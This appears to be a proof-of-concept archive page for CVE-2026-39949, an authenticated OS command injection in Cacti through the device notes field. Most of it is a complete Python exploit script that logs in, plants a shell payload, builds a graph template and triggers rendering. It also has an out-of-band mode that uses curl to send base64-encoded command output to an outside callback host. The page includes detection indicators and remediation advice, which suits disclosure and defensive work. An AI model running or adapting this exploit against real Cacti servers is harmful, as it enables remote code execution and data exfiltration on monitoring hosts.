PoC Archive PoC Archive
High CVE-2026-39949 patched

Cacti Authenticated OS Command Injection via Host Notes Variable (CVE-2026-39949)

by lukehebe · 2026-07-05

Severity
High
CVE
CVE-2026-39949
Category
web
Affected product
Cacti network monitoring platform
Affected versions
Cacti <= 1.2.30
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherlukehebe
CVE / AdvisoryCVE-2026-39949
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagscacti, command-injection, cwe-78, rrdtool, authenticated, rce, oob, network-monitoring
RelatedN/A

Affected Target

FieldValue
Software / SystemCacti network monitoring platform
Versions AffectedCacti <= 1.2.30
Language / PlatformPython 3 PoC against a Cacti web application over HTTP
Authentication RequiredYes (user with device/graph template creation privileges)
Network Access RequiredYes

Summary

Cacti substitutes user-controlled host metadata — specifically the device “notes” field — into RRDtool command-line arguments through its variable replacement engine without sanitizing shell metacharacters. An authenticated attacker who can create devices and graph templates can plant shell metacharacters in the notes field, reference the |host_notes| variable from a crafted graph template, and trigger graph rendering to run arbitrary OS commands as the web server user. The included PoC logs into Cacti, creates the malicious device/graph template chain, and triggers rendering to execute a supplied command, with support for both direct output and out-of-band (OOB) confirmation via a callback domain.


Vulnerability Details

Root Cause

Improper neutralization of special elements in an OS command (CWE-78): the |host_notes| variable substitution feeds unsanitized, attacker-controlled text directly into RRDtool command construction.

Attack Vector

  1. Attacker authenticates to Cacti with an account permitted to create devices and graph templates.
  2. Attacker sets the device “notes” field to a value containing shell metacharacters and an embedded command.
  3. Attacker creates or edits a graph template that references the |host_notes| variable.
  4. Attacker triggers graph generation/rendering for the device, causing Cacti to build an RRDtool command line that includes the unsanitized notes value.
  5. The injected command executes as the web server user; results are observed directly or via an out-of-band callback (e.g., an Interactsh/oastify domain).

Impact

Full remote code execution as the Cacti web server user by any authenticated user with modest device/template creation privileges, potentially leading to complete compromise of the monitoring host and any credentials/data it holds.


Environment / Lab Setup

Target:   Cacti <= 1.2.30 web application with authenticated account
Attacker: Python 3, requests library, optional OOB callback domain (e.g., oastify.com)

Proof of Concept

PoC Script

See cacti_rce_poc.py in this folder.

1
2
3
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'

python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com

The script authenticates to the target Cacti instance, creates a device with a malicious notes field, wires up a graph template referencing |host_notes|, and triggers rendering so the injected command executes on the server; it can either display command output directly or rely on an OOB callback to confirm execution.


Detection & Indicators of Compromise

Signs of compromise:

  • Device “notes” fields containing semicolons, backticks, or $() sequences
  • RRDtool invocations with unexpected shell metacharacters in their arguments (visible in process listings or audit logs)
  • Outbound DNS/HTTP requests from the Cacti host to unfamiliar OOB callback domains

Remediation

ActionDetail
Primary fixUpgrade to a patched Cacti release once available; monitor the vendor advisory for CVE-2026-39949
Interim mitigationRestrict device/graph-template creation privileges to trusted administrators only, and audit/sanitize notes fields; consider running RRDtool invocations through a strict allow-list wrapper

References


Notes

Mirrored from https://github.com/lukehebe/CVE-2026-39949 on 2026-07-05.

cacti_rce_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#!/usr/bin/env python3
"""
Cacti ≤ 1.2.30 — Authenticated RCE via Host Variable Injection (CVE-2026-39949)

  python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin
  python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'
  python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com
"""

import argparse, sys, time, re
import urllib.request, urllib.parse, http.cookiejar

R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"; B = "\033[1m"; E = "\033[0m"

def banner():
    print(fr"""{R}{B}
\|/          (__)    
     `\------(oo)
       ||    (__)
       ||w--||     \|/
   \|/
{E}{B}Cacti Authenticated RCE — Host Variable Injection into RRDtool{E}
""")


class CactiExploit:
    def __init__(self, url, user, pw):
        self.base = url.rstrip('/')
        self.user = user
        self.pw   = pw
        self.jar  = http.cookiejar.CookieJar()
        self.http = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.jar))
        self.http.addheaders = [('User-Agent', 'Mozilla/5.0')]

    def get(self, path, params=None):
        url = self.base + path + ('?' + urllib.parse.urlencode(params) if params else '')
        r = self.http.open(url, timeout=15)
        return r.read().decode('utf-8', errors='replace'), r.geturl()

    def post(self, path, data):
        r = self.http.open(urllib.request.Request(
            self.base + path,
            urllib.parse.urlencode(data).encode(),
            {'Content-Type': 'application/x-www-form-urlencoded'}
        ), timeout=15)
        return r.read().decode('utf-8', errors='replace'), r.geturl()

    def csrf(self, path, params=None):
        html, _ = self.get(path, params)
        m = re.search(r'name=["\']__csrf_magic["\'][^>]*value=["\']([^"\']+)["\']', html)
        return m.group(1) if m else ''

    def login(self):
        print(f"[*] Authenticating as {self.user}...")
        self.post('/index.php', {
            'action': 'login', 'login_username': self.user,
            'login_password': self.pw, '__csrf_magic': self.csrf('/index.php'),
        })
        for c in self.jar:
            if 'cacti' in c.name.lower():
                print(f"  {G}[+] Session established{E}")
                return True
        print(f"  {R}[-] Login failed{E}"); return False

    def create_device(self, notes):
        _, url = self.post('/host.php', {
            'action': 'save', 'save_component_host': '1', 'reindex_method': '1',
            'id': '0', 'host_template_id': '0', 'description': 'poc',
            'hostname': '127.0.0.1', 'location': '', 'poller_id': '1', 'site_id': '1',
            'device_threads': '1', 'availability_method': '0', 'snmp_options': '0',
            'ping_method': '1', 'ping_port': '23', 'ping_timeout': '400',
            'ping_retries': '1', 'snmp_version': '2', 'snmp_community': 'public',
            'snmp_security_level': 'authPriv', 'snmp_auth_protocol': 'MD5',
            'snmp_username': '', 'snmp_password': '', 'snmp_password_confirm': '',
            'snmp_priv_protocol': 'DES', 'snmp_priv_passphrase': '',
            'snmp_priv_passphrase_confirm': '', 'snmp_context': '', 'snmp_engine_id': '',
            'snmp_port': '161', 'snmp_timeout': '500', 'snmp_retries': '3',
            'max_oids': '10', 'bulk_walk_size': '0', 'external_id': '',
            'notes': notes, '__csrf_magic': self.csrf('/host.php', {'action': 'edit'}),
        })
        m = re.search(r'[?&]id=(\d+)', url)
        return m.group(1) if m else None

    def create_template(self):
        _, url = self.post('/graph_templates.php', {
            'action': 'save', 'save_component_template': '1',
            'graph_template_id': '0', 'graph_template_graph_id': '0',
            'name': 'poc', 'class': 'unassigned', 'version': '', 'title': 'poc',
            'vertical_label': '', 'image_format_id': '1', 'height': '200',
            'width': '700', 'base_value': '1000', 'auto_scale_opts': '2',
            'upper_limit': '100', 'lower_limit': '0', 'unit_value': '',
            'unit_exponent_value': '', 'unit_length': '', 'right_axis': '',
            'right_axis_label': '|host_notes|',          # injection vector
            'right_axis_format': '0', 'right_axis_formatter': '0',
            'left_axis_format': '0', 'left_axis_formatter': '0',
            'tab_width': '', 'legend_position': '0', 'legend_direction': '0',
            'rrdtool_version': '1.7.2',
            '__csrf_magic': self.csrf('/graph_templates.php', {'action': 'template_edit'}),
        })
        m = re.search(r'[?&]id=(\d+)', url)
        return m.group(1) if m else None

    def create_graph(self, host_id, tmpl_id):
        self.post('/graphs_new.php', {
            'save_component_graph': '1', 'cg_g': tmpl_id, 'host_id': str(host_id),
            'host_template_id': '0', 'action': 'save', 'graph_type': '-2', 'rows': '-1',
            '__csrf_magic': self.csrf('/graphs_new.php', {'reset': 'true', 'host_id': host_id}),
        })
        html, _ = self.get('/host.php', {'action': 'edit', 'id': host_id})
        ids = re.findall(r'graph_edit&(?:amp;)?id=(\d+)', html)
        return ids[-1] if ids else None

    def trigger(self, graph_id):
        try:
            self.get('/graph_image.php', {
                'local_graph_id': graph_id, 'rra_id': '0',
                'graph_start': '-3600', 'graph_end': '0',
            })
        except Exception:
            pass

    def run(self, cmd, oob=None):
        if oob:
            payload_cmd = f"curl -sk http://{oob}/$({cmd}|base64 -w0)"
        else:
            payload_cmd = cmd

        notes = f"'; ({payload_cmd} &); '"

        print(f"[*] Creating device...")
        host_id = self.create_device(notes)
        if not host_id: print(f"  {R}[-] Failed{E}"); return False
        print(f"  {G}[+] host_id={host_id}{E}")

        print(f"[*] Creating template...")
        tmpl_id = self.create_template()
        if not tmpl_id: print(f"  {R}[-] Failed{E}"); return False
        print(f"  {G}[+] template_id={tmpl_id}{E}")

        print(f"[*] Creating graph...")
        graph_id = self.create_graph(host_id, tmpl_id)
        if not graph_id: print(f"  {R}[-] Failed{E}"); return False
        print(f"  {G}[+] graph_id={graph_id}{E}")

        print(f"[*] Triggering...")
        time.sleep(1)
        self.trigger(graph_id)
        time.sleep(1)

        print(f"\n{G}{B}[+] Done.{E}")
        if oob:
            print(f"    {Y}Check collaborator for HTTP callback — path = base64({cmd}){E}")
        return True


def main():
    banner()
    p = argparse.ArgumentParser(description='Cacti <= 1.3.0-dev Authenticated RCE')
    p.add_argument('--url',  required=True)
    p.add_argument('--user', default='admin')
    p.add_argument('--pass', dest='password', default='admin')
    p.add_argument('--cmd',  default='id', help='Command to execute (default: id)')
    p.add_argument('--oob',  help='OOB callback host (Burp Collaborator / interactsh)')
    args = p.parse_args()

    e = CactiExploit(args.url, args.user, args.password)
    if not e.login(): sys.exit(1)
    e.run(cmd=args.cmd, oob=args.oob)


if __name__ == '__main__':
    main()